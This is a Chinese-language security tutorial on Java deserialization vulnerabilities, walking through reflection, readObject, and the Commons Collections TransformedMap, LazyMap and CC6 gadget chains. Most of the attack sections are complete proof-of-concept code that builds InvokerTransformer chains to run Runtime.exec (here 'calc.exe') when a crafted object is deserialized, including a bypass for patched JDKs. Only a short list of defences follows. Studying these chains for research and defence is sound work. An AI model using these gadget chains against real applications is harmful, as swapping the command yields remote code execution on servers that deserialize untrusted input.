JAVA TransforMap&LazyMap链
字数 1717 2025-08-26 22:11:51
Java反序列化漏洞深入解析:TransformedMap与LazyMap利用链
一、Java反射基础
1.1 反射基本概念
反射是通过Class对象操作类的机制,允许在运行时获取类的信息并调用方法。关键点:
- 通过
Class.forName()获取Class对象 - 可以访问私有方法和构造函数
- 是Java反序列化利用的基础
1.2 关键反射方法
getMethod方法
Class clazz = Class.forName("java.lang.Runtime");
Method execMethod = clazz.getMethod("exec", String.class);
Method getRuntimeMethod = clazz.getMethod("getRuntime");
Object runtime = getRuntimeMethod.invoke(clazz);
execMethod.invoke(runtime, "calc.exe");
- 获取公有方法(包括继承的)
- 需要指定参数类型(解决重载问题)
invoke()执行方法
getConstructor方法
Class clazz = Class.forName("java.lang.ProcessBuilder");
clazz.getMethod("start").invoke(
clazz.getConstructor(List.class).newInstance(Arrays.asList("calc.exe"))
);
- 获取公有构造函数
newInstance()创建对象实例- 变长参数处理需要二维数组
访问私有方法
Class clazz = Class.forName("java.lang.Runtime");
Constructor m = clazz.getDeclaredConstructor();
m.setAccessible(true);
clazz.getMethod("exec", String.class).invoke(m.newInstance(), "calc.exe");
getDeclaredConstructor获取私有构造函数setAccessible(true)绕过访问限制
二、Java反序列化基础
2.1 序列化与反序列化
- 序列化:对象→字节流
- 反序列化:字节流→对象
- 需要实现
Serializable接口
2.2 readObject与writeObject
private void writeObject(ObjectOutputStream s) throws IOException {
s.defaultWriteObject();
s.writeObject("This is a object");
}
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
String message = (String) s.readObject();
System.out.println(message);
}
- 自定义序列化/反序列化逻辑
defaultWriteObject/defaultReadObject处理默认序列化- 开发者写入的内容放在
objectAnnotation中
三、Commons Collections利用链
3.1 关键类介绍
Transformer接口
- 定义对象转换逻辑
- 主要实现类:
ConstantTransformer:返回固定对象InvokerTransformer:反射调用方法ChainedTransformer:链式调用多个Transformer
Map装饰器
TransformedMap:Map元素变化时触发TransformerLazyMap:Map查询不存在key时触发Transformer
3.2 TransformedMap利用链
利用原理
- 构造恶意Transformer链
- 绑定到TransformedMap
- 通过AnnotationInvocationHandler的readObject触发
完整POC
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "buruheshen");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
Object obj = construct.newInstance(Retention.class, outerMap);
// 序列化与反序列化触发
ByteArrayOutputStream barr = new ByteArrayOutputStream();
new ObjectOutputStream(barr).writeObject(obj);
new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())).readObject();
关键点
- 使用
Runtime.class而非Runtime.getRuntime()保证可序列化 AnnotationInvocationHandler需要Retention.class作为参数- Map中必须包含
value键才能通过if判断
3.3 LazyMap利用链
与TransformedMap的区别
- 触发点不同:通过
get()方法而非setValue() - 需要借助
Proxy触发invoke方法
完整POC
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] realTransformers = new Transformer[]{
// 同上
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler)construct.newInstance(Retention.class, outerMap);
Map proxyMap = (Map)Proxy.newProxyInstance(
Map.class.getClassLoader(), new Class[]{Map.class}, handler);
handler = (InvocationHandler)construct.newInstance(Retention.class, proxyMap);
// 替换为真实Transformer
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, realTransformers);
// 序列化与反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
new ObjectOutputStream(barr).writeObject(handler);
new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())).readObject();
关键点
- 使用
Proxy自动调用invoke方法 - 先设置假Transformer防止多次触发
- 通过反射设置真实Transformer
3.4 高版本CC6利用链
绕过限制原理
- 高版本修复了
AnnotationInvocationHandler - 改用
TiedMapEntry的hashCode()触发getValue() - 通过HashMap的
readObject触发hashCode()
完整POC
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] realTransformers = new Transformer[]{
// 同上
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.remove("keykey"); // 防止put时触发
// 替换为真实Transformer
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, realTransformers);
// 序列化与反序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
new ObjectOutputStream(barr).writeObject(expMap);
new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())).readObject();
关键点
remove("keykey")防止put时触发- HashMap的
readObject会触发hash(key) TiedMapEntry.hashCode()调用getValue()
四、工具与防御
4.1 实用工具
- SerializationDumper:16进制序列化内容转字符串
- ysoserial:根据利用链生成反序列化payload
4.2 防御措施
- 升级Commons Collections版本
- 使用安全对象反序列化
- 实施输入过滤和验证
五、总结
本文详细分析了Java反序列化漏洞中的TransformedMap和LazyMap利用链,包括:
- 反射机制的基础知识
- 反序列化的基本原理
- Commons Collections的三种主要利用方式
- 高版本绕过技术
- 相关工具和防御措施
理解这些技术原理对于Java安全研究和漏洞防护具有重要意义。